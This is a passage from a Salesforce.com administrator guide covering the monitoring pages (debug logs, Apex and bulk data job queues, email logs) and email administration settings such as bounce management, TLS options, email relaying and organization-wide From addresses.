period. For example, assume you have set the time period to send notifications every hour. Then at 4:05 PM, you set the
time period to send notifications every 24 hours. A last notification from the old time period is sent at 5:00 PM. The next
notification would be sent at 5:00 PM the next day.

See Also:
About API Usage Notifications
Viewing API Usage Notifications
Force.com API Usage Limits
Documentation Resources for Force.com Developers

Monitoring the Mass Email Queue


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To view your mass email or cancel your pending mass email: “Mass Email”
To view all mass email or cancel pending mass email in your “Modify All Data”
organization:

Use the mass email queue to view the status of scheduled mass emails and cancel mass emails if necessary.

375
Monitoring Managing Debug Logs

To view the mass emails you have scheduled, click Setup ➤ Email ➤ My Mass Emails. If you have permission to view all
mass emails in your organization, click Setup ➤ Monitoring ➤ Mass Email.
From these pages, you can:

• Click Cancel to cancel a pending mass email.


• Click Stop to stop a mass email that Salesforce.com is in the process of sending.
• Click Del to delete the record of a sent or canceled mass email from the queue.
• Click the name of the mass email to view details about an individual mass email.

See Also:
Sending Mass Email

Managing Debug Logs


Available in Enterprise, Developer and Unlimited Editions

User Permissions Needed


To view, retain, and delete debug logs: “View All Data”

You can retain as well as manage the debug logs for specific users in your organization.
The total number of debug logs retained for an organization is twenty. Once that number is reached, the user is removed from
the list of users with debug logs being retained. After an organization has twenty debug logs retained, the oldest debug logs
start being overwritten.
To view saved debug logs, click Setup ➤ Monitoring ➤ Debug Logs.
From this page you can do the following:

• Specify which users should have their debug logs retained


• View debug log details

After you have specified a user to have their debug log retained, you can do the following:

• Click Delete to stop retaining a user's debug logs.

376
Monitoring Managing Debug Logs

• Click Reset to set the number of debug logs available for a user back to twenty.

See Also:
Force.com Apex Code Overview
What is a Debug Log?
Retaining Debug Logs
Viewing Debug Log Details
Setting Debug Log Categories and Levels
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide

Retaining Debug Logs


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To view, retain, and delete debug logs: “View All Data”

You can retain as well as manage the debug logs for specific users in your organization.
The total number of debug logs retained for an organization is twenty. Once that number is reached, the user is removed from
the list of users with debug logs being retained. After an organization has twenty debug logs retained, the oldest debug logs
start being overwritten.
To specify that a user should have his or her debug logs retained:

1. Click Setup ➤ Monitoring ➤ Debug Logs, then click New.


2. Click the checkbox next to the user or users for whom you want to retain debug logs. The only users with a checkbox next
to their names are ones who do not currently have their debug logs retained.
3. Click Save.

To stop retaining debug logs for a user, click Setup ➤ Monitoring ➤ Debug Logs, and then click Del next to the name of
the user.
To delete all existing debug logs for a user, click Setup ➤ Monitoring ➤ Debug Logs, and then click Reset next to the name
of the user.

See Also:
What is a Debug Log?
Managing Debug Logs
Viewing Debug Log Details
Setting Debug Log Categories and Levels
Developer's Guide: Force.com Apex Code Developer's Guide

377
Monitoring Monitoring Scheduled Jobs

Viewing Debug Log Details


Available in: Unlimited, Developer, and Enterprise Editions

User Permissions Needed


To use the System Log console: “View All Data”
To use the text entry box: “Author Apex”

You can retain as well as manage the debug logs for specific users in your organization.
To view the details of a debug log, click Setup ➤ Monitoring ➤ Debug Logs, and then click View next to the debug log
you want to examine.
The total number of debug logs retained for an organization is twenty. Once that number is reached, the user is removed from
the list of users with debug logs being retained. After an organization has twenty debug logs retained, the oldest debug logs
start being overwritten.
Note: If you use the Salesforce.com user interface to run the unit tests for your Apex scripts, a debug log is generated
and displayed as well. See Running Apex Unit Tests on page 980.

See Also:
Setting Debug Log Categories and Levels
Managing Debug Logs
Setting Debug Log Categories and Levels
Developer's Guide: Force.com Apex Code Developer's Guide

Monitoring Scheduled Jobs


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To monitor scheduled jobs: “View Setup and Configuration”

The All Scheduled Jobs page lists all analytic snapshots, scheduled Apex jobs, and dashboards scheduled to refresh.
Users with the “View Setup and Configuration” permission can view the All Scheduled Jobs page by clicking Setup ➤
Monitoring ➤ Scheduled Jobs.
From the All Scheduled Jobs page, users with the appropriate permissions can:

378
Monitoring Monitoring Background Jobs

• Click Edit to update the notification and frequency settings of all instances of a scheduled job.
• Click Del to permanently delete all instances of a scheduled job.
• View the details of a scheduled job, such as:

- The name of the scheduled job


- The name of the user who submitted the scheduled job
- The date and time at which the scheduled job was originally submitted
- The date and time at which the scheduled job started
- The next date and time at which the scheduled job will run
- The type of scheduled job, such as an analytic snapshot, a scheduled Apex job, or dashboard scheduled to refresh

See Also:
What is an Analytic Snapshot?
Scheduling a Dashboard Refresh

Monitoring Background Jobs


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To monitor background jobs: “View Setup and Configuration”

The All Background Jobs page lists all sharing-rule-recalculation jobs scheduled to run or currently in progress. You can view
the details of the background job, such as:

• The name of the background job


• The status of the background job, such as Abort Pending or Completed.
• The name of the user who submitted the background job
• The date and time at which the background job was originally submitted
• The date and time when the background job finished

You can only monitor background jobs on this page. To abort a job, contact salesforce.com.

Apex Job Queue


Available in: Unlimited, Developer, and Enterprise Editions

The Apex job queue lists all Apex jobs that have been submitted for execution. Jobs that have completed execution are listed,
as well as those that are not yet finished, including:

379
Monitoring Apex Job Queue

• Apex methods with the future annotation that have not yet been executed. Such jobs are listed as Future in the Job Type
column, and do not have values in the Total Batches or Batches Processed columns.
• Scheduled Apex jobs that have not yet finished executing. Such jobs are listed as Scheduled Apex in the Job Type column,
and do not have values in the Total Batches or Batches Processed columns.
• Apex sharing recalculation batch jobs that have not yet finished execution. Such jobs are listed as Sharing Recalculation
in the Job Type column. The records in a sharing recalculation job are automatically split into batches. The Total Batches
column lists the total number of batches for the job. The Batches Processed column lists the number of batches that have
already been processed.
• Batch Apex jobs that have not yet finished execution. Such jobs are listed as Batch Apex in the Job Type column. The
records in a batch Apex job are automatically split into batches. The Total Batches column lists the total number of batches
for the job. The Batches Processed column lists the number of batches that have already been processed.

Note: Sharing recalculation batch jobs are currently available through a limited release program. For information on
enabling Apex sharing recalculation batch jobs for your organization, contact salesforce.com.

The Status column lists the current status of the job. The possible values are:

Status Description
Queued Job is awaiting execution
Processing Job is being processed
Aborted Job was aborted by a user
Completed Job completed with or without failures
Failed Job experienced a system failure

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. This is especially useful if you want to view only future methods, or view only Apex batch jobs. To
edit or delete any view you created, select it from the View drop-down list and click Edit.
For any type of Apex job, you can click Abort Job in the Action column to stop all processing for that job.
Jobs related to the future annotation that have completed execution are removed from this list every seven days. Batch jobs
are not removed.
For more information about Apex, see the Force.com Apex Code Developer's Guide.

See Also:
Monitoring Scheduled Jobs
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide

380
Monitoring What are Email Logs?

What are Email Logs?


Available in: All Editions

User Permissions Needed


To access email logs: “Modify All Data”

Email logs are CSV files that contain information about all email sent through Salesforce.com over the last 30 days. Logs
contain data such as:

• The email address of each email sender and recipient


• The date and time each email was sent
• The delivery status of each email
• Any error code associated with each email

You can use email logs to troubleshoot encountered errors.


To manage email logs, click Setup ➤ Monitoring ➤ Email Log Files.

• To request a new email log, click Request an Email Log. Due to the volume of email processed through Salesforce.com,
requests are queued in the order that they are received. Email logs should be available within 30 minutes of your request.
For more information, see Requesting an Email Log on page 382.
• The pending email log requests list provides the status on email log requests that have not yet completed. You can have a
maximum of three pending log requests at any time.
• The email log errors list provides descriptions for requests that failed.

- To resubmit a request that failed, click Resubmit.


- To delete a request that failed, click Del.

Caution: You cannot resubmit a failed request if it requires data that has exceeded the 30 day limit, or if you
already have three pending requests.

• To download an email log, click Download (.zip). Email logs are CSV files contained within a compressed file. Logs
contribute to your overall file storage limits. For more information, see Monitoring Resources on page 253.
• To delete an email log, click Del.

For a summary of the information returned from an email log, see Viewing Email Logs on page 382.

381
Monitoring What are Email Logs?

Requesting an Email Log


Available in: All Editions

User Permissions Needed


To access email logs: “Modify All Data”

To request a new email log for your organization:

1. Click Setup ➤ Monitoring ➤ Email Log Files.


2. Click Request an Email Log.
You can have a maximum of three pending log requests at one time. If you already have three pending requests, you cannot
request another log until at least one of those requests completes.
3. Enter a Start Time and End Time range for the email log you want to retrieve. Email logs are available for messages
sent within the past 30 days prior to your request.
Note: Each email log can span a maximum of seven days. To see email log data from a period of time greater than
seven days, create multiple requests.

4. Optionally, you can filter an email log to only include rows where a specific domain name or email address appears in a
field, such as Recipient or Message ID Header. To enter more than one filter term, separate each value with a comma.
If you leave this field blank, the log is not filtered and all email addresses are returned within the specified time range.
5. Enter the email addresses that you want to receive notification when the email log request is complete. Separate each email
address with a comma.

To clear a request and return to the email log overview page, click Cancel.

See Also:
Viewing Email Logs

Viewing Email Logs


Available in: All Editions

User Permissions Needed


To access email logs: “Modify All Data”

The following table describes the format of the log file and lists examples of its fields:

382
Monitoring What are Email Logs?

Column Field Description Example


A Date/Time The date and time the 3/06/2009 13:37
message was sent in GMT
B Internal Message ID The unique internal ID of the 16/A4-20983-88E21E84
message
C Event Indicates the final email event T
in the mail server. Events can
be one of the following values:
R - Reception
The email was
successfully received.
D - Delivery
The email was
successfully sent.
T - Transient Failure
The email transmission
was delayed.
Salesforce.com will retry
delivery over a 24 hour
period. The first retry
occurs five minutes after
the first transient failure,
the second occurs ten
minutes after that, the
third twenty minutes
after that, and so on.
P - Permanent Failure
The email could not be
delivered.

D Recipient The email address of the admin@acme.com


person to whom the email is
sent
E Sender The email address of the user@acme.com
person who sent the email
F Remote Host The IP address of the 10.0.0.1
application server that
delivered the email to the
email server
G Bytes Transferred The size of the email 11856
H User ID The Salesforce.com ID of the 00540000000rSXT
user who sent the email

383
Monitoring What are Email Logs?

Column Field Description Example


I Message ID Header The ID header at the 21749386.
beginning of every email 106091224027705044.
JavaMail.
sfdc@na2-app4-2-sjl.
ops.sfdc.net

J Retry Count The number of attempts made 11


to deliver the email
K Seconds in Queue The number of seconds the 300
email had to wait before being
delivered
L Delivery Stage The final stage the delivery during RCPT TO
was in before it was logged.
Below are the values of the
stages in the order that they
appear during the SMTP
sequence:
BANNER
The SMTP connection
response
EHLO
The beginning of the
session with the mail
server
STARTTLS
Establishes a secure
communication session
with the email server
MAIL FROM
Announces the sender of
the email
RCPT TO
Announces the recipient
of the email
DATA
Announces that the
subsequent text is the
email message

384
Monitoring What are Email Logs?

Column Field Description Example


BODY
The state when the body
of the email is being sent
to the recipient
RSET
Resets the server state,
ending the session
In addition, there are
responses that may appear at
any point during the delivery
sequence:
while not connected
The client is trying to
establish a connection
while idle
The client has connected,
but is not sending or
receiving any commands
reading confirmation
A command was sent and
the client is waiting for a
response
handshaking TLS
An error occurred while
trying to establish a
secure connection
out of band bounce
The receiving server
accepted a command, but
then for an unknown
reason rejected it
in unknown state
An unknown error has
occurred

M Relay Host The hostname of the relay.my.org


designated relay system
N Relay Port The port of the designated 587
relay system

385
Monitoring What are Email Logs?

Column Field Description Example


O Delivery Status After every delivery stage, a 421 no adequate
Notification three digit response code is servers
sent from the mail server. The
first number indicates whether
the command was successful
or unsuccessful; the second
digit indicates the type of
error; and the third provides
additional information to
resolve the potential problem.
The five possible values of the
first digit are:
1xx - Positive
Preliminary reply
The command was
accepted, but no response
has been sent
2xx - Positive
Completion reply
The requested action has
successfully completed
3xx - Positive
Intermediate reply
The command was
accepted, but the
requested action needs
more information
4xx - Transient
Negative Completion
reply
The command was not
accepted and the
requested action did not
occur. However, the error
condition is temporary
and the action may be
requested again.
5xx - Permanent
Negative Completion
reply
The command was not
accepted and the
requested action did not

386
Monitoring Monitoring Bulk Data Load Jobs

Column Field Description Example


occur
Every email service provider
implements the codes
differently, so there is no
comprehensive list for what
the second or third digits
indicate.
For more information on these
codes, view the official SMTP
documentation, section 4.2.1:
http://
www.ietf.org/rfc/rfc2821.txt
?number=2821

See Also:
What are Email Logs?

Monitoring Bulk Data Load Jobs


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To monitor bulk data load jobs: “Manage Data Integrations”

You can create and update a large set of records with the Bulk API, which is optimized for processing large sets of data. It
makes it simple to load or update data from a few thousand to millions of records. Processing a large amount of records takes
some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
Process a set of records by creating a job that contains one or more batches. The job specifies which object is being processed
(for example, Account, Opportunity) and what type of action is being used (insert, upsert, or update). A batch is a set of records
sent to the server in an HTTP POST request. Each batch is processed independently by the server, not necessarily in the
order it is received.
To track the status of bulk data load jobs that are in progress or recently completed, click Setup ➤ Monitoring ➤ Bulk Data
Load Jobs.
The In Progress Jobs list contains the following columns, shown in alphabetical order:

Column Description
Job ID The unique, 15–character ID for this job.

387
Monitoring Monitoring Bulk Data Load Jobs

Column Description
Object The object type for the data being processed. All data in a job must be of a single object type.
Operation The processing operation for all the batches in the job. The valid values are:
• insert
• upsert
• update

Progress The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
the same number of records and they may be processed at different speeds.
Records The number of records already processed. This number increases as more batches are processed.
Processed

Start Time The date and time when the job was submitted.
Status The current state of processing for the job. The valid values are:
• Open: The job has been created, and batches can be added to the job.
• Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
• Aborted: The job has been aborted.
• Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job.

The Completed Jobs list contains the following columns, shown in alphabetical order. Completed jobs are removed from the
list seven days after completion.

Column Description
End Time The date and time when the job completed.
Job ID The unique, 15–character ID for this job.
Object The object type for the data being processed. All data in a job must be of a single object type.
Operation The processing operation for all the batches in the job. The valid values are:
• insert
• upsert
• update

Records The number of records already processed. This number increases as more batches are processed.
Processed

Start Time The date and time when the job was submitted.
Status The current state of processing for the job. The valid values are:
• Open: The job has been created, and batches can be added to the job.

388
Monitoring Monitoring Bulk Data Load Jobs

Column Description
• Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
• Aborted: The job has been aborted.
• Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job.

Time to The total time to complete the job.


Complete

See Also:
Viewing Bulk Data Load Job Details
Developer's Guide: Force.com Bulk API Developer's Guide

Viewing Bulk Data Load Job Details


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To monitor bulk data load jobs: “Manage Data Integrations”

You can create and update a large set of records with the Bulk API, which is optimized for processing large sets of data. It
makes it simple to load or update data from a few thousand to millions of records. Processing a large amount of records takes
some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
To view the details of a bulk data load job:

1. Click Setup ➤ Monitoring ➤ Bulk Data Load Jobs.


2. Click a Job ID link for a job.

The job detail page contains the following fields, shown in alphabetical order:

Field Description
API Version The API version for the job.
Completed The number of batches that have been completed for this job.
Batches

Concurrency The concurrency mode for processing batches. The valid values are:
Mode • parallel: Batches are processed in parallel mode. This is the default value.
• serial: Batches are processed in serial mode.

389
Monitoring Monitoring Bulk Data Load Jobs

Field Description
Content Type The content type for the job. The valid values are:
• CSV
• XML (default option)

End Time The date and time when the job completed.
External ID The name of the external ID field for an upsert operation.
Field

Failed The number of batches that have failed for this job.
Batches

Job ID The unique, 15–character ID for this job.


In Progress The number of batches that are in progress for this job.
Batches

Object The object type for the data being processed. All data in a job must be of a single object type.
Operation The processing operation for all the batches in the job. The valid values are:
• insert
• upsert
• update

Progress The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
the same number of records and they may be processed at different speeds.
Queued The number of batches queued for this job.
Batches

Records The number of records processed at the time the request was sent. This number increases as more batches
Processed are processed.
Retries The number of times that Salesforce.com attempted to save the results of an operation. The repeated
attempts are due to a problem, such as a lock contention.
Start Time The date and time when the job was submitted.
Status The current state of processing for the job. The valid values are:
• Open: The job has been created, and batches can be added to the job.
• Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
• Aborted: The job has been aborted.
• Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.

Submitted By The name of the user that submitted the job.

390
Monitoring Monitoring Automated Process Actions

Field Description
Time to The total time to complete the job.
Complete

See Also:
Monitoring Bulk Data Load Jobs
Developer's Guide: Force.com Bulk API Developer's Guide

Monitoring Automated Process Actions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage automated-process actions: “Modify All Data”

Salesforce Knowledge users can schedule articles to be published or archived on a specific date. Use the automated-process
actions queue to view these pending actions and cancel them if necessary.
To view pending actions:

1. Click Setup ➤ Monitoring ➤ Automated Process Actions.


2. Click Search to view all pending actions for any article, or set the filter criteria and click Search to view only the pending
actions that match the criteria. The filter options are:
Process Definition
The process that is triggering the action. This value is always “KBWorkflow.”

Object
The object that triggered the pending action. This value is always “Knowledge Article.”

Scheduled Date
The date the pending actions are scheduled to occur.

Create Date
The date the article that triggered the pending action was created.

Created By
The user who created the article that triggered the pending action.

Record Name
The name of the article that triggered the pending action.

The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 1916.

391
Monitoring Monitoring Automated Process Actions

To cancel pending actions:

1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce.com cancels the pending action.

See Also:
What is Salesforce Knowledge?
Useful Salesforce Knowledge Terminology
Publishing Articles

392
EMAIL ADMINISTRATION

Configuring Deliverability Settings


Available in: All Editions

User Permissions Needed


To configure email deliverability: “Customize Application”

To improve the deliverability of email you send from Salesforce.com, configure your organization's email deliverability settings.
Email deliverability is the likelihood of a company’s or individual’s email to reach its intended recipient. This likelihood is
adversely affected by:
Bounced email

Email that is addressed to an invalid recipient and returned to the sender. If a sender sends several email messages that
bounce, the email server might slow or block the delivery of all email from that sender.

Noncompliant email
Email that does not comply with a recipient's email security framework, such as the Sender Policy Framework (SPF),
which verifies that the From address in an email message is not forged.

Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce.com may not get delivered. For information on email relaying, see Setting Up Email
Relaying on page 397.

To configure the email deliverability settings for your organization:

1. Click Setup ➤ Email Administration ➤ Deliverability.


2. Select the Activate bounce management checkbox to help ensure that the email addresses you have for your contacts,
leads, and person accounts are correct, and that the email your users send to those addresses is not impeded due to excessive
email bounces.
When bounce management is activated and a user sends an email to a contact, lead, or person account with an invalid
email address, Salesforce.com displays an alert next to that email address, and prevents users from sending email to that
address until the address is updated or confirmed. Also, the email bounces to Salesforce.com instead of the sender's personal
email account.
Tip: Use the Bounced Contacts and Bounced Leads standard reports to view a list of email addresses that have
bounced email. The report includes the reason the email was bounced, the date the bounce occurred, and the
contact, lead, or person account that bounced the email. See Reports Overview on page 1862 for more information.

3. Select the Show bounce alert next to all instances of the email address checkbox to configure
Salesforce.com to search all lead, contact, and person account records for instances of any email address that bounces an
email, and to display a bounce alert next to each instance. If you do not select this option, Salesforce.com only displays the
bounce alert on the record from which the email was originally sent.

393
Email Administration Configuring Deliverability Settings

4. Select the Return bounced email to sender checkbox to configure Salesforce.com to send a copy of the bounced
email header to the sender. If you do not select this option, only Salesforce.com receives the bounced email header. In
either case, Salesforce.com does not return the body of the bounced email to the sender for security purposes.
This option applies to all users in your organization and cannot be enabled per user or per email.
5. Select the Enable compliance with standard email security mechanisms checkbox to automatically modify
the envelope From address of every email you send from Salesforce.com to comply with email security frameworks that
your recipients might implement, such as SPF.
Many recipient email systems enforce SPF to verify if an email is legitimate. SPF checks the envelope From address of an
inbound email to verify if the email is legitimate. If this feature is enabled, Salesforce.com modifies the envelope From
address to a salesforce.com email address to verify the legitimacy of the sender. The header From address remains set to
the sender's email address.
Note: For more information on SPF, see www.openspf.org.

6. Select the Enable Sender ID compliance checkbox to comply with the Sender ID framework. This will automatically
populate the Sender field in the envelope of every email you send from Salesforce.com with no-reply@salesforce.com.
This enables receiving mail servers using the Sender ID email authentication protocol to verify the sender of an email by
examining the Sender and From headers of an inbound email through a DNS lookup. All replies will still be delivered
to the sender's email address. If you do not select this checkbox, the Sender field is set to null and email delivery fails
when a recipient email system performs a Sender ID check.
Note:

• Salesforce.com strongly recommends enabling Sender ID compliance. This is enabled by default.


• If you enable Sender ID compliance, the recipient's email client may append the phrase “Sent on behalf of ” to
the From field of email received from Salesforce.com.
• For more information on Sender ID, see www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx.

7. If you want Salesforce.com to send users a status email when their mass emails are complete, select Notify sender
when mass email completes.
8. To specify how Salesforce.com uses the Transport Layer Security (TLS) protocol for secure email communication for
SMTP sessions, choose one of the following:

• Preferred (default): If the remote server offers TLS, Salesforce.com upgrades the current SMTP session to use TLS.
If TLS is unavailable, Salesforce.com continues the session without TLS.
• Required: Salesforce.com continues the session only if the remote server offers TLS. If TLS is unavailable,
Salesforce.com terminates the session without delivering the email.
• Preferred Verify: If the remote server offers TLS, Salesforce.com upgrades the current SMTP session to use
TLS. Before the session initiates, Salesforce.com verifies the certificate is signed by a valid certificate authority, and
that the common name presented in the certificate matches the domain or mail exchange of the current connection. If
TLS is available but the certificate is not signed or the common name does not match, Salesforce.com disconnects the
session and does not deliver the email. If TLS is unavailable, Salesforce.com continues the session without TLS.
• Required Verify: Salesforce.com continues the session only if the remote server offers TLS, the certificate is signed
by a valid certificate authority, and the common name presented in the certificate matches the domain or mail exchange
to which Salesforce.com is connected. If any of these criteria are not met, Salesforce.com terminates the session without
delivering the email.

394
Email Administration Enabling Compliance BCC Emails

Note: If you select a setting other than Preferred (the default setting), select Restrict TLS to these
domains and specify a comma-separated domain list. The asterisk (*) wildcard is allowed; for example,
*.subdomains.com matches john@aco.subdomains.com and john@bco.subdomains.com (but not
john@subdomains.com). If you don't specify domains, Salesforce.com uses the TLS setting you specify for all
outbound emails, which may result in emails not being delivered.

9. Click Save.

See Also:
Sending Email
Enabling Compliance BCC Emails
Setting Up Email Relaying
Testing Deliverability

Enabling Compliance BCC Emails


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable or disable compliance BCC email: “Customize Application”

If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to
automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance BCC
emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under My Email
Settings.
To enable compliance BCC emails for your organization:

1. Click Setup ➤ Email Administration ➤ Compliance BCC Email.


2. Select the Enable checkbox.
3. Enter your compliance email address.
4. Click Save.

Note: The BCC email is automatically sent to the address you specify for any emails your users send, excluding system
emails such as password reset or import completion notifications.

See Also:
Configuring Deliverability Settings
Setting Up Email Relaying
Testing Deliverability

395
Email Administration Testing Deliverability

Testing Deliverability
Available in: All Editions

User Permissions Needed


To test email deliverability: “Modify All Data”

Salesforce.com sends email from 34 different IP addresses. If your organization blocks any of these IP addresses, users might
not receive all email sent from Salesforce.com.
To verify your organization can receive email from every Salesforce.com IP address:

1. Click Setup ➤ Administration Setup ➤ Email Administration ➤ Test Deliverability.


2. Enter your business email address.
3. Click Send. Salesforce.com simultaneously sends a test message from all 34 IP addresses to your business email address.
Each test message specifies the IP address from which it was sent.
4. Check your business email account to make sure it received all 34 test messages.

If you received less than 34 test messages, your organization's email administrator must whitelist the Salesforce.com IP ranges
on your organization's email server. Whitelisting an IP address allows the email server to receive email from an IP address
that might otherwise be blocked. The Salesforce.com IP ranges are:

• 202.129.242.64 to 202.129.242.65
• 204.14.232.64 to 204.14.232.79
• 204.14.234.64 to 204.14.234.79

Note: If your organization activates email relaying, your email administrator only needs to whitelist the IP addresses
Salesforce.com uses for email relaying (202.129.242.65, 204.14.232.65, and 204.14.234.65). For information on email
relaying, see Setting Up Email Relaying on page 397.

See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails

396
Email Administration Setting Up Email Relaying

Setting Up Email Relaying


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure email relaying: “Modify All Data”

Email relaying is using an email server to send email that did not originate on the email server. Companies set up email relaying
to:

• Route all email through their own email servers to avoid the appearance of email spoofing by Salesforce.com. Email spoofing
is the forging of email headers to make messages appear as if they came from someone other than the original sender.
• Store copies of all email as required by government regulations in various industries.
• Apply existing content filters that scan messages for data and content that is not approved to be sent out through company
email.
• Run outbound email through antivirus software before sending it to customers.
• Append data such as company-wide disclaimers at the bottom of email messages.

You can set up email relaying for Salesforce.com-generated email by configuring Salesforce.com to automatically route email
through your company's Simple Mail Transfer Protocol (SMTP) server. Contact salesforce.com to enable email relaying for
your organization.
Caution: If you plan to activate both bounce management and email relaying, check with your email administrator
to ensure that your organization's email server allows the relaying of email sent from salesforce.com; otherwise, the
email you send from Salesforce.com may not get delivered. For more information on bounce management, see
Configuring Deliverability Settings on page 393.

To set up email relaying:

1. Click Setup ➤ Email Administration ➤ Email Relay Activation.


2. Configure the following settings:

Setting Description
Email Host The host name or IP address of your company's SMTP
server. Obtain this information from your email
administrator.
Important: If you plan to use Transport Layer
Security (TLS) with this connection, enter the host
name instead of the IP address. TLS requires the
host name for verifying certificates.

For host names, use the following format:

<mail server>.<domain>.<domain extension>

397
Email Administration Setting Up Email Relaying

Setting Description
For example:

mail.acme.com

Port The port number of your company's SMTP server. Obtain


this information from your email administrator.
TLS Setting Specifies whether Salesforce.com uses TLS for SMTP
sessions. Select one of the following options:
• Preferred (default): If the remote server offers TLS,
Salesforce.com upgrades the current SMTP session to
use TLS. If TLS is unavailable, Salesforce.com continues
the session without TLS.
• Required: Salesforce.com continues the session only if
the remote server offers TLS. If TLS is unavailable,
Salesforce.com terminates the session without delivering
the email.
• Preferred Verify: If the remote server offers TLS,
Salesforce.com upgrades the current SMTP session to
use TLS. Before the session initiates, Salesforce.com
verifies the certificate is signed by a valid certificate
authority, and that the common name presented in the
certificate matches the domain or mail exchange of the
current connection. If TLS is available but the certificate
is not signed or the common name does not match,
Salesforce.com disconnects the session and does not
deliver the email. If TLS is unavailable, Salesforce.com
continues the session without TLS.
• Required Verify: Salesforce.com continues the
session only if the remote server offers TLS, the
certificate is signed by a valid certificate authority, and
the common name presented in the certificate matches
the domain or mail exchange to which Salesforce.com
is connected. If any of these criteria are not met,
Salesforce.com terminates the session without delivering
the email.

Restrict Relay to Domains Specifies whether to restrict the email relaying functionality
to certain domains. If you select this option, enter the names
of those domains separated by commas in the text field
below. (The asterisk (*) wildcard is allowed; for example,
*.subdomains.com matches john@aco.subdomains.com
and john@bco.subdomains.com (but not
john@subdomains.com)). This causes Salesforce.com to
route email to your company's SMTP server only if the email
is addressed to one of the listed domains. If you select the

398
Email Administration Organization-Wide Addresses

Setting Description
checkbox but do not list any domains, Salesforce.com routes
all email to your company's SMTP server.
Active Enables email relaying for your organization. If you deselect
this checkbox, Salesforce.com keeps the email relay
configuration but does not route email to your company's
email server.

3. Click Save.

Salesforce.com recommends sending a test message each time you change the email relay configuration.

See Also:
Configuring Deliverability Settings
Enabling Compliance BCC Emails
Testing Deliverability

Organization-Wide Addresses
Available in: All Editions

User Permissions Needed


To configure organization-wide addresses: “Modify All Data”

If your organization requires users to share a common email alias, you can define a list of organization-wide addresses for each
user profile. Organization-wide addresses define a common email address that a user profile can use. When sending email
from Salesforce.com, users with these profiles can choose a different From address than the email address they have defined.
Replies are delivered to the organization-wide address.
For example, assume your organization has several users under a single Support Profile. A Support Profile can be associated
with an email address called support@acme.com and a Display Name of Acme Support. When Support Profile users
send an outbound email through Salesforce.com, they can choose to have their From address appear as support@acme.com
instead of their own Salesforce.com email address.
The highlighted sections in the following image represents the changes to the From address and Display Name that the
recipient of an email might see:

399
Email Administration Defining Organization-Wide Addresses

After an organization-wide address is verified, it is available as a From address when sending an email or an email alert.
To display the list of defined organization-wide addresses, click Setup ➤ Email Administration ➤ Organization-Wide
Addresses. From this page you can:

• Click Add to create a new organization-wide address.


• Click Edit to change any of the fields associated with the alias:

- Display Name is the word or phrase users who receive your email will see as the sender of the email.
- Email Address is the email address that is used when sending an outbound email.
- Allowed Profiles lists the profiles which use the email address as an alias.
- Status shows the current stage of verification. When you add a new organization-wide address, it must be verified
as a valid email address before becoming available for use. If you have not received your verification email, click Resend
to have another one sent.

• Click Del to remove the alias.

Note: You cannot use an organization-wide address to send a mass email or a Stay-in-Touch request. You cannot
delete or change an organization-wide email address if it is used by an email alert.

See Also:
Managing Profiles

Defining Organization-Wide Addresses


Available in: All Editions

User Permissions Needed


To configure organization-wide addresses: “Modify All Data”

To define an organization-wide address for a user profile:


1. Click Setup ➤ Email Administration ➤ Organization-Wide Addresses.
2. Click Add.
3. Enter a Display Name. The display name identifies how your name appears on outbound emails. The maximum length
is 300 characters.
4. Enter the Email Address you would like to use as an alias. This can be any standard email address. The maximum length
is 270 characters.
5. Select Allow All Profiles to Use this From Address if you want every user profile in your organization to
be able to use the new From address. Otherwise, select Allow Only Selected Profiles to Use this From
Address to choose from existing user profiles.
6. Click Save to save your changes, or Save and New to define another organization-wide address. A verification email is
sent to the new email address which includes a link that you click to complete the verification process. The From address

400
Email Administration Enabling Email to Salesforce

will not be available for use until you access the email and click this link. Click Cancel to return to the previous page
without saving.

Note: You cannot delete or change an organization-wide email address if it is used by an email alert.

To use an organization-wide address, send an email or set up an email alert, and choose your organization-wide address from
the drop-down list.

See Also:
Managing Profiles

Enabling Email to Salesforce


Available in: All Editions

User Permissions Needed


To enable or disable Email to Salesforce: “Modify All Data”

If you use a company-provided or third-party email account, you can use Email to Salesforce to assign emails to the Activity
History related list on lead, contact, opportunity, and other records in Salesforce.com. When composing, forwarding, or
replying to email, simply enter your Email to Salesforce address in the BCC field. Salesforce.com receives a copy of the email
and, depending on your configuration, adds it to the Activity History related list of the matching records.
When working with Email to Salesforce, note the following:

